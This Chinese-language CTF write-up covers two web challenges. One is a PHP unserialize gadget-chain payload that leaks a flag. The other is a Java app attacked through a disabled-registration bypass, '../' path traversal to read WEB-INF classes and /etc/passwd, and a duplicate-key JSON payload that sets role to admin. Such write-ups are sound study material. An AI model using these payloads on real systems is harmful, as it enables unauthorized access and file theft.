1、UNSER的
<?php
highlight_file(__FILE__);
class Wel
{public $fast;public $star;public function __construct(){$this->fast = "free_toto";echo "what?";}public function __destruct(){$content = $this->star;printf ($content);}public function CTF(){echo "welcome!!!";}
}
class Database
{public $hostname = "127.0.0.1";public $dbuser = "root";public $dbpass = "root";public $database;public $str;public $challange;public function __construct($database){$this->database = $database;}public function __invoke(){ function welcome(){echo "do_it";}$this->str->open($this->database);}
}
class Flag
{public $file;public $params;public function __construct(){$this->file = array();}public function __toString(){return $this->getfunction(); }public function getfunction(){$func = $this->params;echo "you win??";$func();}
}
$files = scandir('./');foreach($files as $file) {if(is_file($file)){if ($file == "fl@g.php") {$con = file_get_contents('/flag');echo $con;unlink($file);}}}
$exp = $_GET['noway'];
unserialize($exp);
打开是一个序列化与反序列化的题目,首先分析一下代码
首先定义了Wel
这个类,并在其中定义了两个公共属性 $fast
和 $star
。构造函数初始化 $fast
并输出 "what?"。析构函数在对象销毁时调用,它会打印 $star
的内容。CTF
方法输出 "welcome!!!"。
Database
类定义了一些数据库相关的属性和一个构造函数来初始化 $database
属性。__invoke
方法(当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用)定义了一个局部函数 welcome
并尝试调用 $this->str
对象的 open
方法
Flag
类包含两个公共属性 $file
和 $params
。构造函数初始化 $file
为一个空数组。__toString
方法会返回 getfunction
方法的结果。getfunction
方法调用 $params
中保存的函数。
这段代码扫描当前目录的文件。如果存在名为 fl@g.php
的文件,读取 /flag
文件的内容并打印,然后删除 fl@g.php
,然后从 GET
请求中获取 noway
参数的值,并将其反序列化为PHP对象
用到的魔术方法:
__construct(): 当一个对象创建时被调用
__destruct():销毁时触发
__invoke():当脚本尝试将对象调用为函数时触发
__toString()
:当对象被转换为字符串时自动调用
参考其他wp构造payload:
<?phpclass Wel
{public $fast;public $star;public function __construct(){$this->fast = "free_toto";echo "what?";}}
class Database
{public $hostname = "127.0.0.1";public $dbuser = "root";public $dbpass = "root";public $database;public $str;public $challange;public function __construct($database){$this->database = $database;}}
class Flag
{public $file;public $params;public function __construct(){$this->file = array();}
}
class SQLite3{}
$A = new Wel();
$A ->star = new Flag();
$A ->star ->params = new Database("fl@g.php");
$A ->star ->params ->str = new SQLite3("fl@g.php");
echo serialize($A);
?>
-
类定义:
Wel
类:- 包含两个属性:
fast
和star
。 - 构造函数初始化
fast
属性,并输出字符串 "what?"。
- 包含两个属性:
Database
类:- 包含多个属性:
hostname
、dbuser
、dbpass
、database
、str
和challange
。 - 构造函数初始化
database
属性。
- 包含多个属性:
Flag
类:- 包含两个属性:
file
和params
。 - 构造函数初始化
file
属性为一个空数组。
- 包含两个属性:
SQLite3
类:- 定义为空,没有任何属性或方法。
-
对象创建和属性赋值:
- 创建
Wel
类的实例$A
。 - 将
$A
的star
属性赋值为Flag
类的实例。 - 将
Flag
实例的params
属性赋值为Database
类的实例,参数为"fl@g.php"
。 - 将
Database
实例的str
属性赋值为SQLite3
类的实例,参数同样为"fl@g.php"
。
- 创建
2、两步验证:
打开页面是一个登录框,首先想到的爆破,抓包尝试。
抓包后没有有用信息,尝试点击注册页面但是被禁止了,没有什么思路,参考一下大佬的wp。
题目界面为一登录框,发现 sign up 功能被禁用,但可以访问,先尝试抓包然后改包。这里涉及到功能重用漏洞。
功能重用(Function Reuse)漏洞:
功能重用(Function Reuse)漏洞是指攻击者利用某个功能在不同场景下的调用不当,导致原本受限制的操作被绕过。这类漏洞通常出现在一个功能在不同的上下文中被重复使用,但在不同上下文中没有进行适当的权限控制或参数验证。(即API接口或Web应用程序中的某个功能虽然在UI上被禁用或隐藏,但仍然可以通过直接发送请求来访问。)
通常出现在以下几种场景:
- 某个受限功能(如注册、文件上传、管理操作等)在不同的上下文中被调用,但没有进行适当的权限检查。
- 前端页面隐藏或禁用某些操作,但实际的 API 接口仍然可以被访问和利用。
所以此时可以直接通过bp抓包后直接向端点发送请求。
post请求中有一个login,因为刚刚尝试打开注册页面,功能被禁用但是可以打开,符合功能重用漏洞,应该抓包后直接将端口连接到注册功能,把方法改为register。
显示注册成功。将包重传后尝试登录。
登录后有四个跳转页面只有download部分可以打开,打开后抓包查看下载上传功能。
参考别的wp,这里的file=../../static/cat.gif提示了文件下载路径,想到任意文件读取,又因为这个题是java语言,所以需要学习一下java的war包结构。
任意文件读取:
漏洞是一种Web应用安全漏洞,允许攻击者读取服务器上任意文件的内容。此类漏洞通常是由于应用程序未能正确验证用户输入,导致文件路径或文件名可以由用户控制,从而读取任意文件。
任意文件读取的常见场景:
- 文件包含(File Inclusion):例如,在PHP应用中使用
include
、require
、file_get_contents
等函数时,没有正确过滤用户输入,导致可以通过构造路径读取服务器上的任意文件。 - 文件下载功能:提供文件下载功能时,没有正确限制可下载文件的范围,导致攻击者可以下载任意文件。
- 日志查看功能:日志查看功能没有正确过滤用户输入,允许攻击者读取任意文件。
漏洞利用步骤:
- 找到注入点:找到可以控制文件路径的参数。
- 构造恶意输入:构造输入以读取敏感文件,如
/etc/passwd
(Linux系统)或C:\Windows\System32\drivers\etc\hosts
(Windows系统)。 - 发送请求并读取响应:发送恶意请求并读取响应中的文件内容。
一个典型的WAR包结构如下:
myapp.war
├── META-INF/
│ └── MANIFEST.MF
├── WEB-INF/
│ ├── classes/
│ │ └── com/
│ │ └── example/
│ │ └── MyServlet.class
│ ├── lib/
│ │ └── some-library.jar
│ ├── web.xml
├── index.html
└── styles.css
- META-INF/:包含包的元数据,如
MANIFEST.MF
文件。 - WEB-INF/:包含Web应用程序的私有文件,这些文件不会直接暴露给用户。
- classes/:存放编译后的Java类文件(.class)。
- lib/:存放应用程序所需的JAR文件(库)。
- web.xml:Web应用程序的部署描述符,用于配置Servlet、过滤器等。
- 其他文件和目录:Web应用程序的公共资源,如HTML文件、CSS文件、JavaScript文件等。
查看web.xml,
定义了各种 Servlet 和 Filter 以及它们的 URL 映射。这段代码展示了多个 Servlet 的定义及其映射路径,以及一个 Filter 的定义和映射路径,把这几个类的代码都下载下来。
../../WEB-INF/classes/com/web/servlet/registerServlet.class
打开后是乱码,需要用到java反编译器,用jd-gui打开查看源码。
理解代码,大致意思就是实现用户的注册与登录。参考大佬的思路,这里的问题是出在上传文件这里,但是上传文件的权限需要admin,所以尝试从代码入手,更改权限。
发现权限的值在注册部分
-
正则表达式匹配
role
字段:- 使用正则表达式
Pattern
和Matcher
来查找 JSON 数据中的"role":"..."
部分。 matcher.find()
会查找下一个匹配项,并将其赋值给role
变量。
- 使用正则表达式
-
判断
role
是否为空:StringUtils.isNullOrEmpty(role)
判断role
是否为空或者为null
。- 如果
role
不为空(用户试图指定role
字段),则将其替换为"role":"guest"
,然后使用gson
库将 JSON 数据反序列化为Person
对象。
-
处理没有
role
字段的情况:- 如果
role
为空,则直接将 JSON 数据反序列化为Person
对象,并手动设置role
为guest
。
- 如果
那么首要目标是绕过Role需要是admin的验证
在
registerServlet.class
,会对注册时的post参数,即data={"username":"admin","password":"admin"}
做
\"role\":\"(.*?)\"
正则匹配,匹配到"role":"xxx"
就会替换成"role":"guest"
,如果没有role,则设置role为guest,所以必须让while循环里的role有值,使得if条件成立
构造payload:
data={"username":"admin","password":"admin","role":"test","role"/**/:"admin"}
在while处匹配到"role":"test"
,匹配不到"role"/**/:"admin"
,进到if条件里,替换的是"role":"test"
,json解析时遇到重复的role键时,会使用最后一个role键值对,最终"role":"admin"
不知道怎么回事一直上传不成功,再去学习一下。